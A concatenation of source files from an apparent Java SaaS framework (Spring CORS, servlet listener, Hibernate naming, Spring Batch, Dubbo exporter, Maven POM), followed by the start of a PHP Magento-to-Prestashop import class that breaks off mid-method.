for (RequestMethod method : annotation.methods())
{
config.addAllowedMethod(method.name());
}
for (String header : annotation.allowedHeaders())
{
config.addAllowedHeader(resolveCorsAnnotationValue(header));
}
for (String header : annotation.exposedHeaders())
{
config.addExposedHeader(resolveCorsAnnotationValue(header));
}
String allowCredentials = resolveCorsAnnotationValue(annotation.allowCredentials());
if ("true".equalsIgnoreCase(allowCredentials))
{
config.setAllowCredentials(true);
} else if ("false".equalsIgnoreCase(allowCredentials))
{
config.setAllowCredentials(false);
} else if (!allowCredentials.isEmpty())
{
throw new IllegalStateException("@CrossOrigin's allowCredentials value must be \"true\", \"false\", "
+ "or an empty string (\"\"): current value is [" + allowCredentials + "]");
}
if (annotation.maxAge() >= 0 && config.getMaxAge() == null)
{
config.setMaxAge(annotation.maxAge());
}
}
private String resolveCorsAnnotationValue(String value)
{
return (this.embeddedValueResolver != null ? this.embeddedValueResolver.resolveStringValue(value) : value);
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/web/listener/WebContextHolderListener.java
package com.zhjs.saas.core.web.listener;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;
import org.springframework.context.i18n.LocaleContextHolder;
import org.springframework.web.context.request.RequestAttributes;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.RequestContextListener;
import org.springframework.web.context.request.ServletRequestAttributes;
import com.zhjs.saas.core.logger.Logger;
import com.zhjs.saas.core.logger.LoggerFactory;
/**
*
* @author: <NAME>
* @since: 2017-09-20
* @modified: 2017-09-20
* @version:
*/
@WebListener
public class WebContextHolderListener implements ServletRequestListener
{
private Logger logger = LoggerFactory.getLogger(getClass());
private static final String REQUEST_ATTRIBUTES_ATTRIBUTE = RequestContextListener.class.getName() + ".REQUEST_ATTRIBUTES";
@Override
public void requestInitialized(ServletRequestEvent requestEvent)
{
if (!(requestEvent.getServletRequest() instanceof HttpServletRequest))
{
logger.error("SaasFramework gets an invalid request type, which will be ingored and all next processure continue on.",
new IllegalArgumentException("Request is not an HttpServletRequest: " + requestEvent.getServletRequest()));
return;
}
HttpServletRequest request = (HttpServletRequest) requestEvent.getServletRequest();
ServletRequestAttributes attributes = new ServletRequestAttributes(request);
request.setAttribute(REQUEST_ATTRIBUTES_ATTRIBUTE, attributes);
LocaleContextHolder.setLocale(request.getLocale());
RequestContextHolder.setRequestAttributes(attributes);
}
@Override
public void requestDestroyed(ServletRequestEvent requestEvent)
{
ServletRequestAttributes attributes = null;
Object reqAttr = requestEvent.getServletRequest().getAttribute(REQUEST_ATTRIBUTES_ATTRIBUTE);
if (reqAttr instanceof ServletRequestAttributes)
{
attributes = (ServletRequestAttributes) reqAttr;
}
RequestAttributes threadAttributes = RequestContextHolder.getRequestAttributes();
if (threadAttributes != null)
{
// We assume within the original request thread...
LocaleContextHolder.resetLocaleContext();
RequestContextHolder.resetRequestAttributes();
if (attributes == null && threadAttributes instanceof ServletRequestAttributes)
{
attributes = (ServletRequestAttributes) threadAttributes;
}
}
if (attributes != null)
{
attributes.requestCompleted();
}
logger.debug("RequestContextHolder has been clear.");
}
}
<file_sep>/saas-scheduler/src/main/java/com/zhjs/saas/scheduler/annotation/EnableScheduler.java
package com.zhjs.saas.scheduler.annotation;
import static java.lang.annotation.ElementType.METHOD;
import static java.lang.annotation.ElementType.TYPE;
import static java.lang.annotation.RetentionPolicy.RUNTIME;
import java.lang.annotation.Documented;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import org.springframework.batch.core.configuration.annotation.EnableBatchProcessing;
import org.springframework.context.annotation.Import;
import com.zhjs.saas.scheduler.config.SchedulerConfig;
/**
*
* @author: <NAME>
* @since: 2018-06-11
* @modified: 2018-06-11
* @version:
*/
@Documented
@Retention(RUNTIME)
@Target({ TYPE, METHOD })
@EnableBatchProcessing
@EnableElasticJob
@Import(SchedulerConfig.class)
public @interface EnableScheduler
{
}
<file_sep>/saas-quark/pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<artifactId>saas-quark</artifactId>
<name>${project.artifactId}</name>
<parent>
<groupId>com.zhjs</groupId>
<artifactId>saas-framework</artifactId>
<version>0.0.1-SNAPSHOT</version>
</parent>
<dependencies>
<dependency>
<groupId>com.zhjs</groupId>
<artifactId>saas-core</artifactId>
<version>${saas.framework.version}</version>
</dependency>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-feign</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-hystrix</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>${hessian.version}</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>dubbo</artifactId>
<version>${dubbo.version}</version>
</dependency>
<!-- <dependency>
<groupId>com.foreveross</groupId>
<artifactId>spring-boot-starter-dubbox</artifactId>
<version>${springboot-dubbox.version}</version>
</dependency> -->
</dependencies>
</project><file_sep>/saas-core/src/main/java/com/zhjs/saas/core/dao/CustomizedPhysicalNamingStrategy.java
package com.zhjs.saas.core.dao;
import java.util.Locale;
import org.hibernate.boot.model.naming.Identifier;
import org.hibernate.boot.model.naming.PhysicalNamingStrategy;
import org.hibernate.engine.jdbc.env.spi.JdbcEnvironment;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
*
*
* @author: <NAME>
* @since: 2017-10-18
* @modified: 2017-10-18
* @version:
*/
public class CustomizedPhysicalNamingStrategy implements PhysicalNamingStrategy
{
protected Logger logger = LoggerFactory.getLogger(getClass());
private final static char UNDERSCORE = '_';
private final static String Schema = "Schema";
private final static String Table = "Table";
private final static String Column = "Column";
private final static String Sequence = "Sequence";
private final static String Catalog = "Catalog";
@Override
public Identifier toPhysicalCatalogName(Identifier name, JdbcEnvironment jdbcEnvironment)
{
return apply(name, jdbcEnvironment, Catalog);
}
@Override
public Identifier toPhysicalSchemaName(Identifier name, JdbcEnvironment jdbcEnvironment)
{
return apply(name, jdbcEnvironment, Schema);
}
@Override
public Identifier toPhysicalTableName(Identifier name, JdbcEnvironment jdbcEnvironment)
{
return apply(name, jdbcEnvironment, Table);
}
@Override
public Identifier toPhysicalSequenceName(Identifier name, JdbcEnvironment jdbcEnvironment)
{
return apply(name, jdbcEnvironment, Sequence);
}
@Override
public Identifier toPhysicalColumnName(Identifier name, JdbcEnvironment jdbcEnvironment)
{
return apply(name, jdbcEnvironment, Column);
}
private Identifier apply(Identifier name, JdbcEnvironment jdbcEnvironment, String type)
{
if(name==null) return null;
StringBuilder builder = new StringBuilder(name.getText().replace('.', UNDERSCORE));
for(int i=1; i<=builder.length()-1; i++)
{
if (isUnderscoreRequired(builder.charAt(i-1), builder.charAt(i)))
{
builder.insert(i++, UNDERSCORE);
}
}
logger.debug("Mapping entity '{}' to {} '{}'", name, type, builder.toString().toLowerCase());
return getIdentifier(builder.toString(), name.isQuoted(), jdbcEnvironment);
}
/**
* Get an the identifier for the specified details. By default this method
* will return an identifier with the name adapted based on the result of
* {@link #isCaseInsensitive(JdbcEnvironment)}
*
* @param name
* the name of the identifier
* @param quoted
* if the identifier is quoted
* @param jdbcEnvironment
* the JDBC environment
* @return an identifier instance
*/
protected Identifier getIdentifier(String name, boolean quoted, JdbcEnvironment jdbcEnvironment)
{
if (isCaseInsensitive(jdbcEnvironment))
{
name = name.toLowerCase(Locale.ROOT);
}
return new Identifier(name, quoted);
}
/**
* Specify whether the database is case sensitive.
*
* @param jdbcEnvironment
* the JDBC environment which can be used to determine case
* @return true if the database is case insensitive sensitivity
*/
protected boolean isCaseInsensitive(JdbcEnvironment jdbcEnvironment)
{
return true;
}
private boolean isUnderscoreRequired(char before, char current)
{
// aaaa
// aAaa
// aAAa
// AAAa
// Aaaa
return (Character.isLowerCase(before) && Character.isUpperCase(current));
}
public static void main(String[] ars)
{
CustomizedPhysicalNamingStrategy cu = new CustomizedPhysicalNamingStrategy();
Identifier id = new Identifier("AaSsSSsSS", false);
id = cu.toPhysicalColumnName(id, null);
System.out.println(id);
}
}
<file_sep>/saas-quark/src/main/java/com/zhjs/saas/quark/annotation/support/EnableMicroServiceRegistrar.java
package com.zhjs.saas.quark.annotation.support;
import org.springframework.beans.factory.support.BeanDefinitionBuilder;
import org.springframework.beans.factory.support.BeanDefinitionRegistry;
import org.springframework.context.annotation.ImportBeanDefinitionRegistrar;
import org.springframework.core.type.AnnotationMetadata;
/**
*
* @author: <NAME>
* @since: 2017-11-07
* @modified: 2017-11-07
* @version:
*/
public class EnableMicroServiceRegistrar implements ImportBeanDefinitionRegistrar
{
private static final Class<?> AnnotationProcessor = MicroServiceBeanPostProcessor.class;
private static final String BeanName = AnnotationProcessor.getName();
@Override
public void registerBeanDefinitions(AnnotationMetadata metadata, BeanDefinitionRegistry registry)
{
BeanDefinitionBuilder builder = BeanDefinitionBuilder.rootBeanDefinition(AnnotationProcessor);
registry.registerBeanDefinition(BeanName, builder.getBeanDefinition());
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/event/BaseEventPublisher.java
package com.zhjs.saas.core.event;
import org.springframework.context.ApplicationEventPublisher;
/**
*
* @author: <NAME>
* @since: 2017-05-17
* @modified: 2017-05-17
* @version:
*/
public interface BaseEventPublisher extends ApplicationEventPublisher {
}
<file_sep>/saas-scheduler/src/main/java/com/zhjs/saas/scheduler/reader/BaseItemReader.java
package com.zhjs.saas.scheduler.reader;
import java.util.List;
import org.springframework.batch.core.JobParameters;
import org.springframework.batch.core.StepExecution;
import org.springframework.batch.core.annotation.BeforeStep;
import org.springframework.batch.item.ExecutionContext;
import org.springframework.batch.item.ItemReader;
import org.springframework.batch.item.NonTransientResourceException;
import org.springframework.batch.item.ParseException;
import org.springframework.batch.item.UnexpectedInputException;
import com.zhjs.saas.core.logger.Logger;
import com.zhjs.saas.core.logger.LoggerFactory;
/**
*
* @author: <NAME>
* @since: 2018-06-11
* @modified: 2018-06-11
* @version:
*/
public abstract class BaseItemReader<T> implements ItemReader<T>
{
protected Logger logger = LoggerFactory.getLogger(getClass());
protected StepExecution stepExecution;
@BeforeStep
public void saveStepExecution(StepExecution stepExecution)
{
this.stepExecution = stepExecution;
}
/**
* Reads a piece of input data and advance to the next one. Implementations
* <strong>must</strong> return <code>null</code> at the end of the input
* data set. In a transactional setting, caller might get the same item
* twice from successive calls (or otherwise), if the first call was in a
* transaction that rolled back.
*
* @throws ParseException if there is a problem parsing the current record
* (but the next one may still be valid)
* @throws NonTransientResourceException if there is a fatal exception in
* the underlying resource. After throwing this exception implementations
* should endeavour to return null from subsequent calls to read.
* @throws UnexpectedInputException if there is an uncategorised problem
* with the input data. Assume potentially transient, so subsequent calls to
* read might succeed.
* @throws Exception if an there is a non-specific error.
* @return T the item to be processed
*/
public T read() throws Exception, UnexpectedInputException, ParseException, NonTransientResourceException
{
JobParameters params = stepExecution.getJobParameters();
ExecutionContext stepContext = stepExecution.getExecutionContext();
return doRead(params, stepContext);
}
public abstract T doRead(JobParameters params, ExecutionContext stepContext)
throws Exception, UnexpectedInputException, ParseException, NonTransientResourceException;
/**
* STEP参数保存
*
* @param exitStatus
*/
public void saveStepParameter(String key, String Value)
{
this.stepExecution.getJobExecution().getExecutionContext().putString(key, Value);
}
/**
* STEP参数保存
*
* @param exitStatus
*/
public void saveStepParameter(String key, long Value)
{
this.stepExecution.getJobExecution().getExecutionContext().putLong(key, Value);
}
/**
* STEP参数保存
*
* @param exitStatus
*/
public void saveStepParameter(String key, int Value)
{
this.stepExecution.getJobExecution().getExecutionContext().putInt(key, Value);
}
/**
* STEP参数保存
*
* @param exitStatus
*/
public void saveStepParameter(String key, List<Object> value)
{
this.stepExecution.getJobExecution().getExecutionContext().put(key, value);
}
/**
* STEP参数保存
*
* @param exitStatus
*/
public void saveStepParameter(String key, Object value)
{
this.stepExecution.getJobExecution().getExecutionContext().put(key, value);
}
/**
* STEP参数取得
*
* @param exitStatus
*/
public Object getStepParameter(String key)
{
return this.stepExecution.getJobExecution().getExecutionContext().get(key);
}
/**
* STEP参数取得
*
* @param exitStatus
*/
public String getStringStepParameter(String key)
{
return this.stepExecution.getJobExecution().getExecutionContext().getString(key);
}
/**
* STEP参数取得
*
* @param exitStatus
*/
public long getLongStepParameter(String key)
{
return this.stepExecution.getJobExecution().getExecutionContext().getLong(key);
}
/**
* STEP参数取得
*
* @param exitStatus
*/
public int getIntStepParameter(String key)
{
return this.stepExecution.getJobExecution().getExecutionContext().getInt(key);
}
/**
* STEP参数递增(+1)
*
* @param exitStatus
*/
public void addLongStepParameter(String key)
{
this.addLongStepParameter(key, 1);
}
/**
* STEP参数递增
*
* @param exitStatus
*/
public void addLongStepParameter(String key, long cnt)
{
long value = this.getLongStepParameter(key);
value = value + cnt;
this.saveStepParameter(key, value);
}
/**
* STEP参数递增(+1)
*
* @param exitStatus
*/
public void addIntStepParameter(String key)
{
this.addIntStepParameter(key, 1);
}
/**
* STEP参数递增
*
* @param exitStatus
*/
public void addIntStepParameter(String key, int cnt)
{
int value = this.getIntStepParameter(key);
value = value + cnt;
this.saveStepParameter(key, value);
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/util/NamedParameterUtil.java
package com.zhjs.saas.core.util;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Iterator;
import java.util.LinkedList;
import java.util.List;
import org.apache.commons.lang3.reflect.FieldUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.jdbc.core.SqlInOutParameter;
import org.springframework.jdbc.core.SqlOutParameter;
import org.springframework.jdbc.core.SqlParameter;
import org.springframework.jdbc.core.SqlParameterValue;
import org.springframework.jdbc.core.StatementCreatorUtils;
import org.springframework.jdbc.core.namedparam.NamedParameterUtils;
import org.springframework.jdbc.core.namedparam.SqlParameterSource;
import com.zhjs.saas.core.dao.ParamWrapper;
import com.zhjs.saas.core.pojo.BaseObject;
/**
*
* @author: <NAME>
* @since: 2017-10-11
* @modified: 2017-10-11
* @version:
*/
public abstract class NamedParameterUtil extends NamedParameterUtils
{
private static Logger logger = LoggerFactory.getLogger(NamedParameterUtil.class);
/**
* Private constructor to prevent instantiation.
*/
private NamedParameterUtil(){}
/**
* Convert a Map of named parameter values to a corresponding array.
* @param parsedObject the parsed SQL statement
* @param paramSource the source for all the named in parameters
* @param declaredParams the List of declared SqlParameter objects
* (may be {@code null}). If specified, the parameter metadata will
* be built into the value array in the form of SqlParameterValue objects.
* @return the array of values
*/
public static Object[] buildProcedureValueArray(
NamedParameterObject parsedObject, SqlParameterSource paramSource, List<SqlParameter> declaredParams)
{
List<Object> values = new ArrayList<>();
List<String> paramNames = parsedObject.getParameterNames();
for (int i = 0; i < paramNames.size(); i++) {
String paramName = paramNames.get(i);
try {
values.add(paramSource.getValue(paramName));
}
catch (IllegalArgumentException ex) {
logger.warn("No value supplied for the SQL parameter '{}': {}", paramName, ex.getMessage());
break;
}
}
return values.toArray();
}
/**
* Convert parameter declarations from an SqlParameterSource to a corresponding List of SqlParameters.
* This is necessary in order to reuse existing methods on JdbcTemplate.
* The SqlParameter for a named parameter is placed in the correct position in the
* resulting list based on the parsed SQL statement info.
* @param parsedSql the parsed SQL statement
* @param inParams the source for all the in parameters
* @param ParamWrapper the return bean class or map for all the out parameters
*/
public static <T extends BaseObject> List<SqlParameter> buildProcedureParameterList(NamedParameterObject parsedObject,
SqlParameterSource inParams, ParamWrapper outParams)
{
List<String> paramNames = parsedObject.getParameterNames();
List<SqlParameter> params = new LinkedList<SqlParameter>();
for (int i = 0; i < paramNames.size(); i++) {
String paramName = paramNames.get(i);
boolean out = false;
Class<?> paramType = null;
if(outParams.isBeanWrap())
{
Field field = FieldUtils.getDeclaredField(outParams.getOutType(), paramName, true);
if(out=(field!=null))
paramType=field.getType();
}
else
{
if(out=(outParams.getOutMap()!=null&&outParams.getOutMap().containsKey(paramName)))
paramType=outParams.getOutMap().get(paramName);
}
if(inParams.hasValue(paramName))
{
if(out)
params.add(new SqlInOutParameter(paramName, inParams.getSqlType(paramName), inParams.getTypeName(paramName)));
else
params.add(new SqlParameter(paramName, inParams.getSqlType(paramName), inParams.getTypeName(paramName)));
}
else if(out)
{
params.add(new SqlOutParameter(paramName, StatementCreatorUtils.javaTypeToSqlParameterType(paramType)));
}
else
logger.warn("No compatiable field or key from {} for the procedure parameter '{}' so that saas-framework will skip it.",
outParams.isBeanWrap()?outParams.getOutType().getName():"outParameter Map", paramName);
}
return params;
}
/**
* Parse the SQL statement and locate any placeholders or named parameters. Named
* parameters are substituted for a JDBC placeholder, and any select list is expanded
* to the required number of placeholders. Select lists may contain an array of
* objects, and in that case the placeholders will be grouped and enclosed with
* parentheses. This allows for the use of "expression lists" in the SQL statement
* like: <br /><br />
* {@code select id, name, state from table where (name, age) in (('John', 35), ('Ann', 50))}
* <p>The parameter values passed in are used to determine the number of placeholders to
* be used for a select list. Select lists should be limited to 100 or fewer elements.
* A larger number of elements is not guaranteed to be supported by the database and
* is strictly vendor-dependent.
* @param parsedObject the parsed representation of the SQL statement
* @param paramSource the source for named parameters
* @return the SQL statement with substituted parameters
* @see #parseSqlStatement
*/
public static String parseNamedParameters(NamedParameterObject parsedObject, SqlParameterSource paramSource) {
String originalSql = parsedObject.getOriginalInput();
StringBuilder actualSql = new StringBuilder();
List<String> paramNames = parsedObject.getParameterNames();
int lastIndex = 0;
for (int i = 0; i < paramNames.size(); i++) {
String paramName = paramNames.get(i);
int[] indexes = parsedObject.getParameterIndexes(i);
int startIndex = indexes[0];
int endIndex = indexes[1];
actualSql.append(originalSql, lastIndex, startIndex);
if (paramSource != null && paramSource.hasValue(paramName)) {
Object value = paramSource.getValue(paramName);
if (value instanceof SqlParameterValue) {
value = ((SqlParameterValue) value).getValue();
}
if (value instanceof Collection) {
Iterator<?> entryIter = ((Collection<?>) value).iterator();
int k = 0;
while (entryIter.hasNext()) {
if (k > 0) {
actualSql.append(", ");
}
k++;
Object entryItem = entryIter.next();
if (entryItem instanceof Object[]) {
Object[] expressionList = (Object[]) entryItem;
actualSql.append("(");
for (int m = 0; m < expressionList.length; m++) {
if (m > 0) {
actualSql.append(", ");
}
actualSql.append("?");
}
actualSql.append(")");
}
else {
actualSql.append("?");
}
}
}
else {
actualSql.append("?");
}
}
else {
actualSql.append("?");
}
lastIndex = endIndex;
}
actualSql.append(originalSql, lastIndex, originalSql.length());
return actualSql.toString();
}
}
<file_sep>/saas-quark/src/main/java/com/zhjs/saas/quark/remote/DubboServiceExporter.java
package com.zhjs.saas.quark.remote;
import java.util.ArrayList;
import java.util.List;
import java.util.Set;
import org.springframework.beans.BeansException;
import org.springframework.beans.factory.DisposableBean;
import org.springframework.beans.factory.InitializingBean;
import org.springframework.context.ApplicationContext;
import org.springframework.context.ApplicationContextAware;
import org.springframework.remoting.support.RemoteExporter;
import com.alibaba.dubbo.common.utils.ConcurrentHashSet;
import com.alibaba.dubbo.config.ApplicationConfig;
import com.alibaba.dubbo.config.ModuleConfig;
import com.alibaba.dubbo.config.MonitorConfig;
import com.alibaba.dubbo.config.ProtocolConfig;
import com.alibaba.dubbo.config.ProviderConfig;
import com.alibaba.dubbo.config.RegistryConfig;
import com.alibaba.dubbo.config.ServiceConfig;
import com.alibaba.dubbo.config.annotation.Service;
import com.alibaba.dubbo.config.spring.ServiceBean;
import com.zhjs.saas.core.logger.Logger;
import com.zhjs.saas.core.logger.LoggerFactory;
/**
*
* @author: <NAME>
* @since: 2017-11-08
* @modified: 2017-11-08
* @version:
*/
public class DubboServiceExporter extends RemoteExporter implements InitializingBean, DisposableBean, ApplicationContextAware
{
private Logger logger = LoggerFactory.getLogger(getClass());
private final Set<ServiceConfig<?>> serviceConfigs = new ConcurrentHashSet<ServiceConfig<?>>();
private ApplicationContext context;
private Service[] services;
public void destroy() throws Exception
{
for (ServiceConfig<?> serviceConfig : serviceConfigs)
{
try
{
serviceConfig.unexport();
}
catch (Throwable e)
{
logger.error(e.getMessage(), e);
}
}
}
@Override
public void afterPropertiesSet() throws Exception
{
for(Service service : services)
{
ServiceBean<Object> serviceConfig = new ServiceBean<Object>();
serviceConfig.setApplicationContext(context);
if (service.registry()!=null && service.registry().length>0) {
List<RegistryConfig> registryConfigs = new ArrayList<RegistryConfig>();
for (String registryId : service.registry()) {
if (registryId!=null && registryId.length()>0) {
registryConfigs.add((RegistryConfig)context.getBean(registryId, RegistryConfig.class));
}
}
serviceConfig.setRegistries(registryConfigs);
}
if (service.provider()!=null && service.provider().length()>0) {
serviceConfig.setProvider((ProviderConfig)context.getBean(service.provider(),ProviderConfig.class));
}
if (service.monitor()!=null && service.monitor().length()>0) {
serviceConfig.setMonitor((MonitorConfig)context.getBean(service.monitor(), MonitorConfig.class));
}
if (service.application()!=null && service.application().length()>0) {
serviceConfig.setApplication((ApplicationConfig)context.getBean(service.application(), ApplicationConfig.class));
}
if (service.module()!=null && service.module().length()>0) {
serviceConfig.setModule((ModuleConfig)context.getBean(service.module(), ModuleConfig.class));
}
if (service.protocol()!=null && service.protocol().length>0) {
List<ProtocolConfig> protocolConfigs = new ArrayList<ProtocolConfig>();
for (String protocolId : service.protocol()) {
if (protocolId!=null && protocolId.length()>0) {
protocolConfigs.add((ProtocolConfig)context.getBean(protocolId, ProtocolConfig.class));
}
}
serviceConfig.setProtocols(protocolConfigs);
}
try {
serviceConfig.afterPropertiesSet();
} catch (Exception e) {
throw new IllegalStateException(e.getMessage(), e);
}
serviceConfig.setInterface(getServiceInterface());
serviceConfig.setRef(getService());
serviceConfigs.add(serviceConfig);
serviceConfig.export();
}
}
public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {
this.context = applicationContext;
}
/**
* @return the services
*/
public Service[] getServices()
{
return services;
}
/**
* @param services the services to set
*/
public void setServices(Service[] services)
{
this.services = services;
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/util/Assert.java
package com.zhjs.saas.core.util;
/**
*
* @author: <NAME>
* @since: 2017-11-14
* @modified: 2017-11-14
* @version:
*/
public abstract class Assert extends org.springframework.util.Assert
{
/**
* Private constructor to prevent instantiation.
*/
private Assert(){}
public static void equals(Object target, Object expected, String message)
{
if(target instanceof String && expected instanceof String && target!=expected)
{
throw new IllegalArgumentException(message);
}
else
{
if(target!=null)
isTrue(target.equals(expected), message);
else if(expected!=null)
isTrue(expected.equals(target), message);
else
throw new IllegalArgumentException(message+". Both two objects are null.");
}
}
}
<file_sep>/saas-quark/src/main/java/com/zhjs/saas/quark/protocol/ServiceProtocol.java
package com.zhjs.saas.quark.protocol;
/**
*
* @author: <NAME>
* @since: 2017-11-05
* @modified: 2017-11-05
* @version:
*/
public enum ServiceProtocol
{
/**
* feign client which support JSON
*/
Rest,
/**
* feign client which support JSON
*/
Feign,
/**
* RMI
*/
RMI,
/**
* Hessian2 protocol
*/
Hessian,
/**
* Dubbo rpc
*/
Dubbo,
/**
* spring http-invoker
*/
HttpInvoker,
/**
* high performance RPC implemented by ZHJS-Tech, better than Dubbo protocol.
* But it only supports the saas-framework for now.
*/
Quark
}
|
20a9052e47c30eb418c2ee362014db22558fc148
|
[
"Java",
"Maven POM"
] | 78
|
Java
|
bellmit/yuanhan-framework
|
8d8cfcd37efae7213f0e59a1dd26a7654e59bff0
|
58d3fb374b844f1548fb4b0288e90ae1b5349621
|
refs/heads/master
|
<repo_name>WENKz/magento2-prestashop-migration-tools<file_sep>/src/Migration/Model/AbstractImport.php
<?php
namespace Mimlab\PrestashopMigrationTool\Model;
use Magento\Framework\App\Filesystem\DirectoryList;
use Magento\Framework\DataObject;
use Magento\Framework\Exception\NoSuchEntityException;
use Magento\Framework\Filesystem;
use Magento\Framework\Filesystem\Driver\File;
use Magento\Framework\UrlInterface;
use Magento\ImportExport\Model\Import\ErrorProcessing\ProcessingError;
use Magento\ImportExport\Model\Import\ErrorProcessing\ProcessingErrorAggregatorInterface;
use Magento\Store\Model\StoreManagerInterface;
use Mimlab\PrestashopMigrationTool\Exception\DirectoryIsEmptyException;
use Mimlab\PrestashopMigrationTool\Model\FixtureManager;
use Monolog\Handler\StreamHandler;
use Psr\Log\LoggerInterface;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\OptionsResolver\OptionsResolver;
use Magento\Store\Model\App\Emulation;
/**
* Abstract class AbstractImport
*
* @package Mimlab\PrestashopMigrationTool\Model
*
* @method $this setLines($lines)
* @method array getLiness()
* @method $this unsetLines()
* @method bool hasLines()
* @abstract
*/
abstract class AbstractImport extends DataObject implements ImportInterface
{
/**#@+
* elements used in import
*/
const DIR_INPUT_PATH = 'flow/input';
const DIR_ERROR_PATH = 'error';
const DIR_ARCHIVE_PATH = 'archive';
const DIR_REPORT_PATH = 'report';
const CSV_VALIDATION_PATTERN = '.csv';
const LOCK_FILE_PATTERN = '%s.lock';
/**#@-*/
/**
* @var array
*/
protected $filesErrors;
/**
* @var array
*/
protected $filesErrorsLinks;
/**
* @var LoggerInterface
*/
protected $logger;
/**
* @var FixtureManager
*/
protected $fixtureManager;
/**
* @var Filesystem
*/
protected $filesystem;
/**
* @var File
*/
protected $filesystemDriver;
/**
* @var String
*/
protected $importDirectoryPath;
/**
* @var String
*/
protected $errorDirectoryPath;
/**
* @var String
*/
protected $archiveDirectoryPath;
/**
* @var String
*/
protected $reportDirectoryPath;
/**
* @var ProcessingErrorAggregatorInterface
*/
protected $errorAggregator;
/**
* @var OptionsResolver
*/
protected $optionsResolver;
/**
* @var array
*/
protected $items;
/**
* @var String
*/
protected $httpReportDirectoryPath;
/**
* @var sting
*/
protected $fileLock;
/**
* @var StoreManagerInterface
*/
protected $storeManager;
/**
* @var Emulation
*/
protected $emulation;
/**
* @var sting
*/
protected $flowDir;
/**
* AbstractImport constructor.
*
* @param FixtureManager $fixtureManager
* @param LoggerInterface $logger
* @param Filesystem $filesystem
* @param File $filesystemDriver
* @param ProcessingErrorAggregatorInterface $errorAggregator
* @param OptionsResolver $optionsResolver
* @param StoreManagerInterface $storeManager
* @param Emulation $emulation
*/
public function __construct(
FixtureManager $fixtureManager,
LoggerInterface $logger,
Filesystem $filesystem,
File $filesystemDriver,
ProcessingErrorAggregatorInterface $errorAggregator,
OptionsResolver $optionsResolver,
StoreManagerInterface $storeManager,
Emulation $emulation
) {
$this->fixtureManager = $fixtureManager;
$this->filesystem = $filesystem;
$this->filesystemDriver = $filesystemDriver;
$this->logger = $logger;
$this->errorAggregator = $errorAggregator->clear();
$this->optionsResolver = $optionsResolver->clear();
$this->storeManager = $storeManager;
$this->filesErrors = [];
$this->filesErrorsLinks = [];
$this->configureOptions();
$this->emulation = $emulation;
$this->setFlowDir(self::DIR_INPUT_PATH);
parent::__construct([]);
}
/**
* Import all csv from a csvDir
*
* @param $name
* @param OutputInterface $output
*
* @throws \Exception
*/
public function execute($name, OutputInterface $output)
{
$this->prepareDirectories();
$files = $this->getAllFiles($this->getFileName($name));
$this->fileLock = sprintf(self::LOCK_FILE_PATTERN, $this->importDirectoryPath . $this->getFileName($name));
if ($this->filesystemDriver->isExists($this->fileLock)) {
throw new \Exception(__("There is another import operation in progress"));
}
$this->filesystemDriver->touch($this->fileLock);
foreach ($files as $fileName) {
$output->writeln("Processing data for {$fileName}...");
$this->processFile($fileName);
}
$this->filesystemDriver->deleteFile($this->fileLock);
if (count($this->filesErrors) > 0) {
throw new \Exception(
__(
"%1 file(s) (%2) contains errors, please download the reports below: \r\n%3",
count($this->filesErrors),
implode(",", $this->filesErrors),
implode("\r\n", $this->filesErrorsLinks)
)
);
}
}
/**
* Get the name of CSV file
*
* @param string $name
* @return string
*/
protected function getFileName($name)
{
return $name;
}
/**
* Resolver configuration
*/
public function configureOptions()
{
return;
}
/**
* Validate data
*
* @param array $data
* @param int $index
*
* @return array
*/
public function validateData($data, $index)
{
try {
return $this->optionsResolver->resolve($data);
} catch (\Exception $e) {
$this->addErrors($e->getMessage(), $index);
}
}
/**
* Prepare row
*
* @param array $row
*/
protected function prepareData(&$row)
{
}
/**
* Launch the save Data Process
*
* @abstract
*/
abstract public function saveData();
/**
* Add a new item to the current import
*
* @param $line
*/
protected function addLine($line)
{
$lines = $this->getLines();
$lines[] = $line;
$this->setLines($lines);
}
/**
* Initialisation of all directory paths
*/
private function prepareDirectories()
{
// Init Directories
$this->importDirectoryPath = $this->filesystem->getDirectoryRead(DirectoryList::MEDIA)->getAbsolutePath($this->getFlowDir()) . DIRECTORY_SEPARATOR;
$this->errorDirectoryPath = $this->filesystemDriver->getAbsolutePath(
$this->importDirectoryPath,
self::DIR_ERROR_PATH
);
$this->archiveDirectoryPath = $this->filesystemDriver->getAbsolutePath(
$this->importDirectoryPath,
self::DIR_ARCHIVE_PATH
);
$this->reportDirectoryPath = $this->filesystemDriver->getAbsolutePath(
$this->importDirectoryPath,
self::DIR_REPORT_PATH
);
try {
$this->httpReportDirectoryPath = $this->storeManager->getStore()->getBaseUrl(UrlInterface::URL_TYPE_MEDIA).
self::DIR_INPUT_PATH . DIRECTORY_SEPARATOR.
self::DIR_REPORT_PATH . DIRECTORY_SEPARATOR;
} catch (NoSuchEntityException $exception) {
$this->logger->log($exception);
}
// Create all directories
$this->filesystemDriver->createDirectory($this->importDirectoryPath);
$this->filesystemDriver->createDirectory($this->errorDirectoryPath);
$this->filesystemDriver->createDirectory($this->archiveDirectoryPath);
